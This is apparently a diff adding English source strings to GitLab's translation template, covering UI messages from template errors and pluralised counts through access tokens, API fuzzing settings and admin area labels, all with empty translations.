+msgid "%{template_project_id} is unknown or invalid"
+msgstr ""
+
+msgid "%{text} %{files}"
+msgid_plural "%{text} %{files} files"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{text} is available"
+msgstr ""
+
+msgid "%{timebox_name} should belong either to a project or a group."
+msgstr ""
+
+msgid "%{timebox_type} does not support burnup charts"
+msgstr ""
+
+msgid "%{timebox_type} must have a start and due date"
+msgstr ""
+
+msgid "%{title} %{operator} %{threshold}"
+msgstr ""
+
+msgid "%{title} changes"
+msgstr ""
+
+msgid "%{token}..."
+msgstr ""
+
+msgid "%{totalCpu} (%{freeSpacePercentage}%{percentSymbol} free)"
+msgstr ""
+
+msgid "%{totalMemory} (%{freeSpacePercentage}%{percentSymbol} free)"
+msgstr ""
+
+msgid "%{totalWeight} total weight"
+msgstr ""
+
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
+msgid "%{total} open issue weight"
+msgstr ""
+
+msgid "%{total} warnings found: showing first %{warningsDisplayed}"
+msgstr ""
+
+msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
+msgid "%{userName} (cannot merge)"
+msgstr ""
+
+msgid "%{userName}'s avatar"
+msgstr ""
+
+msgid "%{user_name} profile page"
+msgstr ""
+
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
+msgid "%{username}'s avatar"
+msgstr ""
+
+msgid "%{value} s"
+msgstr ""
+
+msgid "%{verb} %{time_spent_value} spent time."
+msgstr ""
+
+msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project."
+msgstr ""
+
+msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
+msgstr ""
+
+msgid "%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}v*%{code_tag_end} or %{code_tag_start}*-release%{code_tag_end} are supported."
+msgstr ""
+
+msgid "&lt; 1 hour"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
+msgstr ""
+
+msgid "'%{level}' is not a valid visibility level"
+msgstr ""
+
+msgid "'%{name}' Value Stream created"
+msgstr ""
+
+msgid "'%{name}' Value Stream deleted"
+msgstr ""
+
+msgid "'%{name}' Value Stream saved"
+msgstr ""
+
+msgid "'%{name}' stage already exists"
+msgstr ""
+
+msgid "'%{source}' is not a import source"
+msgstr ""
+
+msgid "'%{template_name}' is unknown or invalid"
+msgstr ""
+
+msgid "(%d closed)"
+msgid_plural "(%d closed)"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "(%{mrCount} merged)"
+msgstr ""
+
+msgid "(%{value}) has already been taken"
+msgstr ""
+
+msgid "(+%{count}&nbsp;rules)"
+msgstr ""
+
+msgid "(Group Managed Account)"
+msgstr ""
+
+msgid "(No changes)"
+msgstr ""
+
+msgid "(UTC %{offset}) %{timezone}"
+msgstr ""
+
+msgid "(check progress)"
+msgstr ""
+
+msgid "(deleted)"
+msgstr ""
+
+msgid "(max size 15 MB)"
+msgstr ""
+
+msgid "(removed)"
+msgstr ""
+
+msgid "(revoked)"
+msgstr ""
+
+msgid "* * * * *"
+msgstr ""
+
+msgid "+ %{amount} more"
+msgstr ""
+
+msgid "+ %{count} more"
+msgstr ""
+
+msgid "+ %{moreCount} more"
+msgstr ""
+
+msgid "+ %{numberOfHiddenAssignees} more"
+msgstr ""
+
+msgid "+%d more"
+msgid_plural "+%d more"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "+%{approvers} more approvers"
+msgstr ""
+
+msgid "+%{extra} more"
+msgstr ""
+
+msgid "+%{more_assignees_count}"
+msgstr ""
+
+msgid "+%{more_assignees_count} more assignees"
+msgstr ""
+
+msgid "+%{more_reviewers_count}"
+msgstr ""
+
+msgid "+%{more_reviewers_count} more reviewers"
+msgstr ""
+
+msgid "+%{tags} more"
+msgstr ""
+
+msgid ", or "
+msgstr ""
+
+msgid "- Available to run jobs."
+msgstr ""
+
+msgid "- Event"
+msgid_plural "- Events"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "- Not available to run jobs."
+msgstr ""
+
+msgid "- User"
+msgid_plural "- Users"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "- of - weight completed"
+msgstr ""
+
+msgid "- show less"
+msgstr ""
+
+msgid "."
+msgstr ""
+
+msgid "0 bytes"
+msgstr ""
+
+msgid "0 for unlimited"
+msgstr ""
+
+msgid "0 for unlimited, only effective with remote storage enabled."
+msgstr ""
+
+msgid "0t1DgySidms"
+msgstr ""
+
+msgid "1 Day"
+msgid_plural "%d Days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 Issue"
+msgid_plural "%d Issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 closed issue"
+msgid_plural "%{issues} closed issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 closed merge request"
+msgid_plural "%{merge_requests} closed merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 day"
+msgid_plural "%d days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 deploy key"
+msgid_plural "%d deploy keys"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 follower"
+msgid_plural "%{count} followers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 group"
+msgid_plural "%d groups"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 hour"
+msgid_plural "%d hours"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merged merge request"
+msgid_plural "%{merge_requests} merged merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 minute"
+msgid_plural "%d minutes"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 open issue"
+msgid_plural "%{issues} open issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 open merge request"
+msgid_plural "%{merge_requests} open merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 pipeline"
+msgid_plural "%d pipelines"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 role"
+msgid_plural "%d roles"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 user"
+msgid_plural "%{num} users"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1-9 contributions"
+msgstr ""
+
+msgid "10-19 contributions"
+msgstr ""
+
+msgid "1000+"
+msgstr ""
+
+msgid "1st contribution!"
+msgstr ""
+
+msgid "20-29 contributions"
+msgstr ""
+
+msgid "2FA"
+msgstr ""
+
+msgid "2FADevice|Registered On"
+msgstr ""
+
+msgid "3 days"
+msgstr ""
+
+msgid "3 hours"
+msgstr ""
+
+msgid "30 days"
+msgstr ""
+
+msgid "30 minutes"
+msgstr ""
+
+msgid "30+ contributions"
+msgstr ""
+
+msgid "403|Please contact your GitLab administrator to get permission."
+msgstr ""
+
+msgid "403|You don't have the permission to access this page."
+msgstr ""
+
+msgid "404|Make sure the address is correct and the page hasn't moved."
+msgstr ""
+
+msgid "404|Page Not Found"
+msgstr ""
+
+msgid "404|Please contact your GitLab administrator if you think this is a mistake."
+msgstr ""
+
+msgid "7 days"
+msgstr ""
+
+msgid "8 hours"
+msgstr ""
+
+msgid ":%{startLine} to %{endLine}"
+msgstr ""
+
+msgid "A %{incident_docs_start}modified issue%{incident_docs_end} to guide the resolution of incidents."
+msgstr ""
+
+msgid "A .NET Core console application template, customizable for any .NET Core project"
+msgstr ""
+
+msgid "A CI/CD pipeline must run and be successful before merge."
+msgstr ""
+
+msgid "A GitBook site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
+msgstr ""
+
+msgid "A Gitpod configured Webapplication in Spring and Java"
+msgstr ""
+
+msgid "A Hexo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
+msgstr ""
+
+msgid "A Hugo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
+msgstr ""
+
+msgid "A Jekyll site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
+msgstr ""
+
+msgid "A Let's Encrypt SSL certificate can not be obtained until your domain is verified."
+msgstr ""
+
+msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
+msgstr ""
+
+msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
+msgstr ""
+
+msgid "A basic template for developing Linux programs using Kotlin Native"
+msgstr ""
+
+msgid "A complete DevOps platform"
+msgstr ""
+
+msgid "A default branch cannot be chosen for an empty project."
+msgstr ""
+
+msgid "A deleted user"
+msgstr ""
+
+msgid "A description is required"
+msgstr ""
+
+msgid "A file has been changed."
+msgstr ""
+
+msgid "A file was not found."
+msgstr ""
+
+msgid "A file with '%{file_name}' already exists in %{branch} branch"
+msgstr ""
+
+msgid "A group is a collection of several projects"
+msgstr ""
+
+msgid "A group represents your organization in GitLab. Groups allow you to manage users and collaborate across multiple projects."
+msgstr ""
+
+msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
+msgstr ""
+
+msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
+msgstr ""
+
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
+msgstr ""
+
+msgid "A member of the abuse team will review your report as soon as possible."
+msgstr ""
+
+msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
+msgstr ""
+
+msgid "A merge request approval is required when the license compliance report contains a denied license."
+msgstr ""
+
+msgid "A merge request hasn't yet been merged"
+msgstr ""
+
+msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
+msgstr ""
+
+msgid "A new Release %{tag} for %{name} was published. Visit the %{release_link_start}Releases page%{release_link_end} to read more about it."
+msgstr ""
+
+msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
+msgstr ""
+
+msgid "A new branch will be created in your fork and a new merge request will be started."
+msgstr ""
+
+msgid "A new impersonation token has been created."
+msgstr ""
+
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
+msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
+msgstr ""
+
+msgid "A plain-text response to show to clients that hit the rate limit."
+msgstr ""
+
+msgid "A platform value can be web, mob or app."
+msgstr ""
+
+msgid "A project boilerplate for Salesforce App development with Salesforce Developer tools"
+msgstr ""
+
+msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
+msgstr ""
+
+msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
+msgstr ""
+
+msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
+msgid "A ready-to-go template for use with Android apps"
+msgstr ""
+
+msgid "A ready-to-go template for use with iOS Swift apps"
+msgstr ""
+
+msgid "A rebase is already in progress."
+msgstr ""
+
+msgid "A secure token that identifies an external storage request."
+msgstr ""
+
+msgid "A sign-in to your account has been made from the following IP address: %{ip}"
+msgstr ""
+
+msgid "A string appended to the project path to form the Service Desk email address."
+msgstr ""
+
+msgid "A title is required"
+msgstr ""
+
+msgid "A user with write access to the source branch selected this option"
+msgstr ""
+
+msgid "ACTION REQUIRED: Something went wrong while obtaining the Let's Encrypt certificate for GitLab Pages domain '%{domain}'"
+msgstr ""
+
+msgid "API Fuzzing"
+msgstr ""
+
+msgid "API Fuzzing Configuration"
+msgstr ""
+
+msgid "API Help"
+msgstr ""
+
+msgid "API Token"
+msgstr ""
+
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
+msgstr ""
+
+msgid "APIFuzzing|Choose a method"
+msgstr ""
+
+msgid "APIFuzzing|Choose a profile"
+msgstr ""
+
+msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
+msgstr ""
+
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "APIFuzzing|Copy code only"
+msgstr ""
+
+msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "APIFuzzing|Enable authentication"
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
+msgstr ""
+
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgstr ""
+
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgstr ""
+
+msgid "APIFuzzing|Generate code snippet"
+msgstr ""
+
+msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
+msgstr ""
+
+msgid "APIFuzzing|Make sure your credentials are secured"
+msgstr ""
+
+msgid "APIFuzzing|Password for basic authentication"
+msgstr ""
+
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
+msgstr ""
+
+msgid "APIFuzzing|Predefined profiles"
+msgstr ""
+
+msgid "APIFuzzing|Scan mode"
+msgstr ""
+
+msgid "APIFuzzing|Scan profile"
+msgstr ""
+
+msgid "APIFuzzing|Show code snippet for the profile"
+msgstr ""
+
+msgid "APIFuzzing|Target URL"
+msgstr ""
+
+msgid "APIFuzzing|The configuration could not be saved, please try again later."
+msgstr ""
+
+msgid "APIFuzzing|There are two ways to perform scans."
+msgstr ""
+
+msgid "APIFuzzing|To prevent a security leak, authentication info must be added as a %{ciVariablesLinkStart}CI variable%{ciVariablesLinkEnd}. A user with maintainer access rights can manage CI variables in the %{ciSettingsLinkStart}Settings%{ciSettingsLinkEnd} area. We detected that you are not a maintainer. Commit your changes and assign them to a maintainer to update the credentials before merging."
+msgstr ""
+
+msgid "APIFuzzing|To prevent a security leak, authentication info must be added as a %{ciVariablesLinkStart}CI variable%{ciVariablesLinkEnd}. As a user with maintainer access rights, you can manage CI variables in the %{ciSettingsLinkStart}Settings%{ciSettingsLinkEnd} area."
+msgstr ""
+
+msgid "APIFuzzing|Use this tool to generate API fuzzing configuration YAML to copy into your .gitlab-ci.yml file. This tool does not reflect or update your .gitlab-ci.yml file automatically."
+msgstr ""
+
+msgid "APIFuzzing|Username for basic authentication"
+msgstr ""
+
+msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
+msgstr ""
+
+msgid "AWS Access Key"
+msgstr ""
+
+msgid "AWS Access Key. Only required if not using role instance credentials"
+msgstr ""
+
+msgid "AWS Secret Access Key"
+msgstr ""
+
+msgid "AWS Secret Access Key. Only required if not using role instance credentials"
+msgstr ""
+
+msgid "AWS service error: %{error}"
+msgstr ""
+
+msgid "Abort"
+msgstr ""
+
+msgid "About GitLab"
+msgstr ""
+
+msgid "About GitLab CE"
+msgstr ""
+
+msgid "About auto deploy"
+msgstr ""
+
+msgid "About this feature"
+msgstr ""
+
+msgid "Abuse Reports"
+msgstr ""
+
+msgid "Abuse reports"
+msgstr ""
+
+msgid "Accept invitation"
+msgstr ""
+
+msgid "Accept terms"
+msgstr ""
+
+msgid "Acceptable for use in this project"
+msgstr ""
+
+msgid "Access Tokens"
+msgstr ""
+
+msgid "Access denied for your LDAP account."
+msgstr ""
+
+msgid "Access denied! Please verify you can add deploy keys to this repository."
+msgstr ""
+
+msgid "Access denied: %{error}"
+msgstr ""
+
+msgid "Access expiration date"
+msgstr ""
+
+msgid "Access expires"
+msgstr ""
+
+msgid "Access forbidden. Check your access level."
+msgstr ""
+
+msgid "Access granted"
+msgstr ""
+
+msgid "Access requests"
+msgstr ""
+
+msgid "Access to '%{classification_label}' not allowed"
+msgstr ""
+
+msgid "Access to Pages websites are controlled based on the user's membership to a given project. By checking this box, users will be required to be logged in to have access to all Pages websites in your instance."
+msgstr ""
+
+msgid "AccessDropdown|Deploy Keys"
+msgstr ""
+
+msgid "AccessDropdown|Groups"
+msgstr ""
+
+msgid "AccessDropdown|Roles"
+msgstr ""
+
+msgid "AccessDropdown|Users"
+msgstr ""
+
+msgid "AccessTokens|Access Tokens"
+msgstr ""
+
+msgid "AccessTokens|Are you sure?"
+msgstr ""
+
+msgid "AccessTokens|Are you sure? Any RSS or calendar URLs currently in use will stop working."
+msgstr ""
+
+msgid "AccessTokens|Are you sure? Any issue email addresses currently in use will stop working."
+msgstr ""
+
+msgid "AccessTokens|Created"
+msgstr ""
+
+msgid "AccessTokens|Feed token"
+msgstr ""
+
+msgid "AccessTokens|Incoming email token"
+msgstr ""
+
+msgid "AccessTokens|It cannot be used to access any other data."
+msgstr ""
+
+msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgstr ""
+
+msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgstr ""
+
+msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgstr ""
+
+msgid "AccessTokens|Personal Access Tokens"
+msgstr ""
+
+msgid "AccessTokens|Static object token"
+msgstr ""
+
+msgid "AccessTokens|They are the only accepted password when you have Two-Factor Authentication (2FA) enabled."
+msgstr ""
+
+msgid "AccessTokens|You can also use personal access tokens to authenticate against Git over HTTP."
+msgstr ""
+
+msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
+msgstr ""
+
+msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgstr ""
+
+msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgstr ""
+
+msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgstr ""
+
+msgid "AccessTokens|reset it"
+msgstr ""
+
+msgid "AccessibilityReport|Learn more"
+msgstr ""
+
+msgid "AccessibilityReport|Message: %{message}"
+msgstr ""
+
+msgid "AccessibilityReport|New"
+msgstr ""
+
+msgid "AccessibilityReport|The accessibility scanning found an error of the following type: %{code}"
+msgstr ""
+
+msgid "Account"
+msgstr ""
+
+msgid "Account ID"
+msgstr ""
+
+msgid "Account and limit"
+msgstr ""
+
+msgid "Account: %{account}"
+msgstr ""
+
+msgid "Action"
+msgstr ""
+
+msgid "Action to take when receiving an alert. %{docsLink}"
+msgstr ""
+
+msgid "Actions"
+msgstr ""
+
+msgid "Activate Service Desk"
+msgstr ""
+
+msgid "Activate user activity analysis"
+msgstr ""
+
+msgid "Active"
+msgstr ""
+
+msgid "Active %{type} (%{token_length})"
+msgstr ""
+
+msgid "Active Sessions"
+msgstr ""
+
+msgid "Activity"
+msgstr ""
+
+msgid "Add"
+msgstr ""
+
+msgid "Add \"%{value}\""
+msgstr ""
+
+msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
+msgstr ""
+
+msgid "Add CHANGELOG"
+msgstr ""
+
+msgid "Add CONTRIBUTING"
+msgstr ""
+
+msgid "Add GitLab to Slack"
+msgstr ""
+
+msgid "Add Group Webhooks and GitLab Enterprise Edition."
+msgstr ""
+
+msgid "Add Jaeger URL"
+msgstr ""
+
+msgid "Add Kubernetes cluster"
+msgstr ""
+
+msgid "Add LICENSE"
+msgstr ""
+
+msgid "Add New Node"
+msgstr ""
+
+msgid "Add README"
+msgstr ""
+
+msgid "Add Variable"
+msgstr ""
+
+msgid "Add Zoom meeting"
+msgstr ""
+
+msgid "Add a %{type}"
+msgstr ""
+
+msgid "Add a GPG key"
+msgstr ""
+
+msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
+msgstr ""
+
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
+msgid "Add a bullet list"
+msgstr ""
+
+msgid "Add a comment to this line"
+msgstr ""
+
+msgid "Add a comment to this line or drag for multiple lines"
+msgstr ""
+
+msgid "Add a general comment to this %{noteableDisplayName}."
+msgstr ""
+
+msgid "Add a general comment to this %{noteable_name}."
+msgstr ""
+
+msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
+msgstr ""
+
+msgid "Add a line"
+msgstr ""
+
+msgid "Add a link"
+msgstr ""
+
+msgid "Add a new issue"
+msgstr ""
+
+msgid "Add a numbered list"
+msgstr ""
+
+msgid "Add a related issue"
+msgstr ""
+
+msgid "Add a table"
+msgstr ""
+
+msgid "Add a task list"
+msgstr ""
+
+msgid "Add a to do"
+msgstr ""
+
+msgid "Add additional text to appear in all email communications. %{character_limit} character limit"
+msgstr ""
+
+msgid "Add an SSH key"
+msgstr ""
+
+msgid "Add an existing issue"
+msgstr ""
+
+msgid "Add an impersonation token"
+msgstr ""
+
+msgid "Add another link"
+msgstr ""
+
+msgid "Add approval rule"
+msgstr ""
+
+msgid "Add approvers"
+msgstr ""
+
+msgid "Add bold text"
+msgstr ""
+
+msgid "Add child epic to an epic"
+msgstr ""
+
+msgid "Add comment now"
+msgstr ""
+
+msgid "Add comment to design"
+msgstr ""
+
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
+msgid "Add deploy freeze"
+msgstr ""
+
+msgid "Add deploy keys to grant read/write access to this repository. %{link_start}What are deploy keys?%{link_end}"
+msgstr ""
+
+msgid "Add domain"
+msgstr ""
+
+msgid "Add email address"
+msgstr ""
+
+msgid "Add email participant(s)"
+msgstr ""
+
+msgid "Add environment"
+msgstr ""
+
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
+msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
+msgstr ""
+
+msgid "Add image comment"
+msgstr ""
+
+msgid "Add italic text"
+msgstr ""
+
+msgid "Add key"
+msgstr ""
+
+msgid "Add label(s)"
+msgstr ""
+
+msgid "Add list"
+msgstr ""
+
+msgid "Add new application"
+msgstr ""
+
+msgid "Add new directory"
+msgstr ""
+
+msgid "Add or remove previously merged commits"
+msgstr ""
+
+msgid "Add or subtract spent time"
+msgstr ""
+
+msgid "Add previously merged commits"
+msgstr ""
+
+msgid "Add projects"
+msgstr ""
+
+msgid "Add reaction"
+msgstr ""
+
+msgid "Add request manually"
+msgstr ""
+
+msgid "Add strikethrough text"
+msgstr ""
+
+msgid "Add suggestion to batch"
+msgstr ""
+
+msgid "Add system hook"
+msgstr ""
+
+msgid "Add to Slack"
+msgstr ""
+
+msgid "Add to board"
+msgstr ""
+
+msgid "Add to epic"
+msgstr ""
+
+msgid "Add to merge train"
+msgstr ""
+
+msgid "Add to merge train when pipeline succeeds"
+msgstr ""
+
+msgid "Add to review"
+msgstr ""
+
+msgid "Add to tree"
+msgstr ""
+
+msgid "Add user(s) to the group:"
+msgstr ""
+
+msgid "Add users to group"
+msgstr ""
+
+msgid "Add variable"
+msgstr ""
+
+msgid "Add webhook"
+msgstr ""
+
+msgid "Add/remove"
+msgstr ""
+
+msgid "AddContextCommits|Add previously merged commits"
+msgstr ""
+
+msgid "AddContextCommits|Add/remove"
+msgstr ""
+
+msgid "AddMember|Already a member of %{source_name}"
+msgstr ""
+
+msgid "AddMember|Email cannot be blank"
+msgstr ""
+
+msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
+msgstr ""
+
+msgid "AddMember|Member already invited to %{source_name}"
+msgstr ""
+
+msgid "AddMember|Member cannot be invited because they already requested to join %{source_name}"
+msgstr ""
+
+msgid "AddMember|No users specified."
+msgstr ""
+
+msgid "AddMember|Too many users specified (limit is %{user_limit})"
+msgstr ""
+
+msgid "Added"
+msgstr ""
+
+msgid "Added %{epic_ref} as a child epic."
+msgstr ""
+
+msgid "Added %{label_references} %{label_text}."
+msgstr ""
+
+msgid "Added a to do."
+msgstr ""
+
+msgid "Added an issue to an epic."
+msgstr ""
+
+msgid "Added at"
+msgstr ""
+
+msgid "Added for this merge request"
+msgstr ""
+
+msgid "Added in this version"
+msgstr ""
+
+msgid "Adding new applications is disabled in your GitLab instance. Please contact your GitLab administrator to get the permission"
+msgstr ""
+
+msgid "Additional Metadata"
+msgstr ""
+
+msgid "Additional minutes"
+msgstr ""
+
+msgid "Additional text"
+msgstr ""
+
+msgid "Address"
+msgstr ""
+
+msgid "Adds"
+msgstr ""
+
+msgid "Adds %{epic_ref} as child epic."
+msgstr ""
+
+msgid "Adds %{labels} %{label_text}."
+msgstr ""
+
+msgid "Adds a Zoom meeting"
+msgstr ""
+
+msgid "Adds a to do."
+msgstr ""
+
+msgid "Adds an issue to an epic."
+msgstr ""
+
+msgid "Adds email participant(s)"
+msgstr ""
+
+msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
+msgstr ""
+
+msgid "Admin Area"
+msgstr ""
+
+msgid "Admin Mode"
+msgstr ""
+
+msgid "Admin Note"
+msgstr ""
+
+msgid "Admin Notifications"
+msgstr ""
+
+msgid "Admin Overview"
+msgstr ""
+
+msgid "Admin Section"
+msgstr ""
+
+msgid "Admin mode already enabled"
+msgstr ""
+
+msgid "Admin mode disabled"
+msgstr ""
+
+msgid "Admin mode enabled"
+msgstr ""
+
+msgid "Admin navigation"
+msgstr ""
+
+msgid "Admin notes"
+msgstr ""
+
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
+msgid "AdminArea|Active users"
+msgstr ""
+
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
+msgid "AdminArea|Billable users"
+msgstr ""
+
+msgid "AdminArea|Blocked users"
+msgstr ""
+
+msgid "AdminArea|Bots"
+msgstr ""
+
+msgid "AdminArea|Components"
+msgstr ""
+
+msgid "AdminArea|Developer"
+msgstr ""
+
+msgid "AdminArea|Features"
+msgstr ""
+
+msgid "AdminArea|Groups"
+msgstr ""
+
+msgid "AdminArea|Guest"
+msgstr ""
+
+msgid "AdminArea|Included Free in license"
+msgstr ""
+
+msgid "AdminArea|Latest groups"
+msgstr ""
+
+msgid "AdminArea|Latest projects"
+msgstr ""
+
+msgid "AdminArea|Latest users"
+msgstr ""
+
+msgid "AdminArea|Maintainer"
+msgstr ""
+
+msgid "AdminArea|New group"
+msgstr ""
+
+msgid "AdminArea|New project"
+msgstr ""
+
+msgid "AdminArea|New user"
+msgstr ""
+
+msgid "AdminArea|Once the instance reaches the user cap, any user who is added or requests access will have to be approved by an admin. Leave the field empty for unlimited."
+msgstr ""
+
+msgid "AdminArea|Owner"
+msgstr ""
+
+msgid "AdminArea|Projects"
+msgstr ""
+
+msgid "AdminArea|Reporter"
+msgstr ""
+
+msgid "AdminArea|Stop all jobs"
+msgstr ""
+
+msgid "AdminArea|Stop all jobs?"
+msgstr ""
+
+msgid "AdminArea|Stop jobs"
+msgstr ""
+
+msgid "AdminArea|Stopping jobs failed"
+msgstr ""
+
+msgid "AdminArea|Total users"
+msgstr ""
+
+msgid "AdminArea|User cap"
+msgstr ""
+
+msgid "AdminArea|Users"
+msgstr ""
+
+msgid "AdminArea|Users statistics"
+msgstr ""
+
+msgid "AdminArea|Users with highest role"
+msgstr ""
+
+msgid "AdminArea|Users without a Group and Project"
+msgstr ""
+
+msgid "AdminArea|View latest groups"
+msgstr ""
+
+msgid "AdminArea|View latest projects"
+msgstr ""
+
+msgid "AdminArea|View latest users"
+msgstr ""
+
+msgid "AdminArea|You’re about to stop all jobs.This will halt all current jobs that are running."
+msgstr ""
+
+msgid "AdminDashboard|Error loading the statistics. Please try again"
+msgstr ""
+
